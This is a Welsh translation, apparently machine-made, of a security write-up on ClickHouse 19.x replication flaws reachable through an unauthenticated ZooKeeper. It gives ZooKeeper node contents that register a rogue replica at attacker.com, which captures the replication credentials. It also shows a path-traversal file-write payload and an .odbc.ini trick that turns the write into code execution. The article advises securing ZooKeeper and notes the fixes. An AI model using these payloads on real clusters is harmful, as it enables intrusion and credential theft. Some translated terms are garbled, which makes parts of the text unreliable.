Pam fod angen i chi gadw cewyll sw ar gau?

Pam fod angen i chi gadw cewyll sw ar gau?

Bydd yr erthygl hon yn adrodd hanes bregusrwydd penodol iawn yn y protocol atgynhyrchu ClickHouse, a bydd hefyd yn dangos sut y gellir ehangu'r wyneb ymosodiad.

Mae ClickHouse yn gronfa ddata ar gyfer storio llawer iawn o ddata, gan ddefnyddio mwy nag un copi gan amlaf. Mae clystyru ac atgynhyrchu yn ClickHouse wedi'u hadeiladu ar ei ben Sŵ-geidwad Apache (ZK) ac angen hawliau ysgrifennu.

Nid oes angen dilysu'r gosodiad ZK rhagosodedig, felly mae miloedd o weinyddion ZK a ddefnyddir i ffurfweddu Kafka, Hadoop, ClickHouse ar gael i'r cyhoedd.

Er mwyn lleihau eich wyneb ymosodiad, dylech bob amser ffurfweddu dilysiad ac awdurdodiad wrth osod ZooKeeper

Wrth gwrs mae yna rai dad-gyfeiriannu Java yn seiliedig ar 0 diwrnod, ond dychmygwch y gallai ymosodwr ddarllen ac ysgrifennu at ZooKeeper, a ddefnyddir ar gyfer atgynhyrchu ClickHouse.

Pan gaiff ei ffurfweddu yn y modd clwstwr, mae ClickHouse yn cefnogi ymholiadau dosbarthedig DDL, pasio trwy ZK - ar eu cyfer nodau yn cael eu creu yn y daflen /clickhouse/task_queue/ddl.

Er enghraifft, rydych chi'n creu nod /clickhouse/task_queue/ddl/query-0001 gyda chynnwys:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ac ar ôl hynny, bydd y tabl prawf yn cael ei ddileu ar y gweinyddion clwstwr host1 a host2. Mae DDL hefyd yn cefnogi rhedeg ymholiadau CREATE/ALTER/DROP.

Swnio'n frawychus? Ond ble gall ymosodwr gael cyfeiriadau gweinydd?

atgynhyrchu ClickHouse yn gweithio ar lefel tablau unigol, fel pan fydd tabl yn cael ei greu yn ZK, bod gweinydd yn cael ei bennu a fydd yn gyfrifol am gyfnewid metadata â chopïau. Er enghraifft, wrth weithredu cais (rhaid ffurfweddu ZK, chXX - enw'r replica, foobar - enw bwrdd):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

bydd nodau'n cael eu creu colofnau и metadata.

Cynnwys /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

A yw'n bosibl cyfuno data o'r clwstwr hwn? Oes, os yw'r porthladd atgynhyrchu (TCP/9009) ar y gweinydd chXX-address ni fydd y wal dân yn cael ei chau ac ni fydd dilysu ar gyfer atgynhyrchu yn cael ei ffurfweddu. Sut i osgoi dilysu?

Gall ymosodwr greu replica newydd yn ZK trwy gopïo'r cynnwys o /clickhouse/tables/01-01/foobar/replicas/chXX a newid yr ystyr host.

Cynnwys /clickhouse/tables/01–01/foobar/replicas/ymosodwr/gwesteiwr:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Yna mae angen i chi ddweud wrth y copïau eraill bod bloc newydd o ddata ar weinydd yr ymosodwr y mae angen iddynt ei gymryd - mae nod yn cael ei greu yn ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (Cownter tyfu undonog XX, a ddylai fod yn fwy na'r un olaf yn y log digwyddiad):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

lle ffynhonnell_replica - enw atgynhyrchiad yr ymosodwr a grëwyd yn y cam blaenorol, bloc_id - dynodwr bloc data, gael - gorchymyn "cael bloc" (a dyma orchmynion ar gyfer gweithrediadau eraill).

Nesaf, mae pob replica yn darllen digwyddiad newydd yn y log ac yn mynd i weinydd a reolir gan yr ymosodwr i dderbyn bloc o ddata (mae'r protocol atgynhyrchu yn ddeuaidd, yn rhedeg ar ben HTTP). Gweinydd attacker.com yn derbyn ceisiadau:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

lle XXX yw'r data dilysu ar gyfer atgynhyrchu. Mewn rhai achosion, gall hwn fod yn gyfrif gyda mynediad i'r gronfa ddata trwy'r prif brotocol ClickHouse a'r protocol HTTP. Fel y gwelwch, mae wyneb yr ymosodiad yn dod yn hanfodol fawr oherwydd bod ZooKeeper, a ddefnyddir ar gyfer atgynhyrchu, wedi'i adael heb ei ffurfweddu wedi'i ddilysu.

Gadewch i ni edrych ar y swyddogaeth o gael bloc o ddata o replica, mae wedi'i ysgrifennu'n gwbl hyderus bod pob copi o dan reolaeth briodol a bod ymddiriedaeth rhyngddynt.

Pam fod angen i chi gadw cewyll sw ar gau?
cod prosesu atgynhyrchu

Mae'r swyddogaeth yn darllen rhestr o ffeiliau, yna eu henwau, maint, cynnwys, ac yna'n eu hysgrifennu i'r system ffeiliau. Mae'n werth disgrifio ar wahân sut mae data'n cael ei storio yn y system ffeiliau.

Mae yna sawl is-gyfeiriadur yn /var/lib/clickhouse (cyfeiriadur storio diofyn o'r ffeil ffurfweddu):

baneri - cyfeiriadur ar gyfer recordio baneri, a ddefnyddir mewn adferiad ar ôl colli data;
tmp - cyfeiriadur ar gyfer storio ffeiliau dros dro;
ffeiliau_defnyddiwr — mae gweithrediadau gyda ffeiliau mewn ceisiadau wedi'u cyfyngu i'r cyfeiriadur hwn (INTO OUTFILE ac eraill);
metadata — ffeiliau sql gyda disgrifiadau tabl;
ffurfweddu_rhagbrosesu - ffeiliau ffurfweddu deilliadol wedi'u prosesu o /etc/clickhouse-server;
data - y cyfeiriadur gwirioneddol gyda'r data ei hun, yn yr achos hwn ar gyfer pob cronfa ddata mae is-gyfeiriadur ar wahân yn cael ei greu yma (er enghraifft /var/lib/clickhouse/data/default).

Ar gyfer pob tabl, crëir is-gyfeiriadur yn y cyfeiriadur cronfa ddata. Mae pob colofn yn ffeil ar wahân yn dibynnu ar fformat injan. Er enghraifft ar gyfer bwrdd foobara grëwyd gan ymosodwr, bydd y ffeiliau canlynol yn cael eu creu:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Mae'r replica yn disgwyl derbyn ffeiliau gyda'r un enwau wrth brosesu bloc o ddata ac nid yw'n eu dilysu mewn unrhyw ffordd.

Mae'n debyg bod y darllenydd sylwgar eisoes wedi clywed am gydgadwyn anniogel o file_name mewn ffwythiant WriteBufferFromFile. Ydy, mae hyn yn caniatáu i ymosodwr ysgrifennu cynnwys mympwyol i unrhyw ffeil ar yr FS gyda hawliau defnyddiwr clickhouse. I wneud hyn, rhaid i'r replica a reolir gan yr ymosodwr ddychwelyd yr ymateb canlynol i'r cais (mae toriadau llinell wedi'u hychwanegu er hwylustod):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ac ar ol cydgadu ../../../../../../../../../tmp/pwned bydd y ffeil yn cael ei ysgrifennu /tmp/pwned gyda chynnwys helofromzookeeper.

Mae yna sawl opsiwn ar gyfer troi gallu ysgrifennu ffeiliau yn weithredu cod o bell (RCE).

Geiriaduron allanol yn RCE

Mewn fersiynau hŷn, cafodd y cyfeiriadur gyda gosodiadau ClickHouse ei storio gyda hawliau defnyddwyr clichouse rhagosodedig. Mae ffeiliau gosodiadau yn ffeiliau XML y mae'r gwasanaeth yn eu darllen wrth gychwyn ac yna'n eu storio /var/lib/clickhouse/preprocessed_configs. Pan fydd newidiadau'n digwydd, cânt eu hail-ddarllen. Os oes gennych chi fynediad i /etc/clickhouse-server gall ymosodwr greu ei un ei hun geiriadur allanol math gweithredadwy ac yna gweithredu cod mympwyol. Nid yw fersiynau cyfredol o ClickHouse yn darparu hawliau yn ddiofyn, ond pe bai'r gweinydd yn cael ei ddiweddaru'n raddol, gallai hawliau o'r fath aros. Os ydych chi'n cefnogi clwstwr ClickHouse, gwiriwch yr hawliau i'r cyfeiriadur gosodiadau, rhaid iddo berthyn i'r defnyddiwr root.

ODBC i RCE

Wrth osod pecyn, mae defnyddiwr yn cael ei greu clickhouse, ond nid yw ei gyfeiriadur cartref wedi'i greu /nonexistent. Fodd bynnag, wrth ddefnyddio geiriaduron allanol, neu am resymau eraill, mae gweinyddwyr yn creu cyfeiriadur /nonexistent a rhoi i'r defnyddiwr clickhouse mynediad i ysgrifennu ato (SSZB! tua. cyfieithydd).

Mae ClickHouse yn cefnogi ODBC ac yn gallu cysylltu â chronfeydd data eraill. Yn ODBC, gallwch chi nodi'r llwybr i lyfrgell gyrrwr y gronfa ddata (.so). Roedd fersiynau hŷn o ClickHouse yn caniatáu i chi wneud hyn yn uniongyrchol yn y triniwr cais, ond nawr mae gwiriad llymach o'r llinyn cysylltu wedi'i ychwanegu at odbc-bridge, felly nid yw bellach yn bosibl nodi llwybr y gyrrwr o'r cais. Ond a all ymosodwr ysgrifennu at y cyfeiriadur cartref gan ddefnyddio'r bregusrwydd a ddisgrifir uchod?

Gadewch i ni greu ffeil ~/.odbc.ini gyda chynnwys fel hyn:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

yna ar gychwyn SELECT * FROM odbc('DSN=lalala', 'test', 'test'); bydd y llyfrgell yn cael ei llwytho test.so a derbyniodd RCE (diolch buglloc am y tip).

Mae'r rhain a gwendidau eraill wedi'u trwsio yn fersiwn ClickHouse 19.14.3. Gofalwch am eich ClickHouse a ZooKeepers!

Ffynhonnell: hab.com

Ychwanegu sylw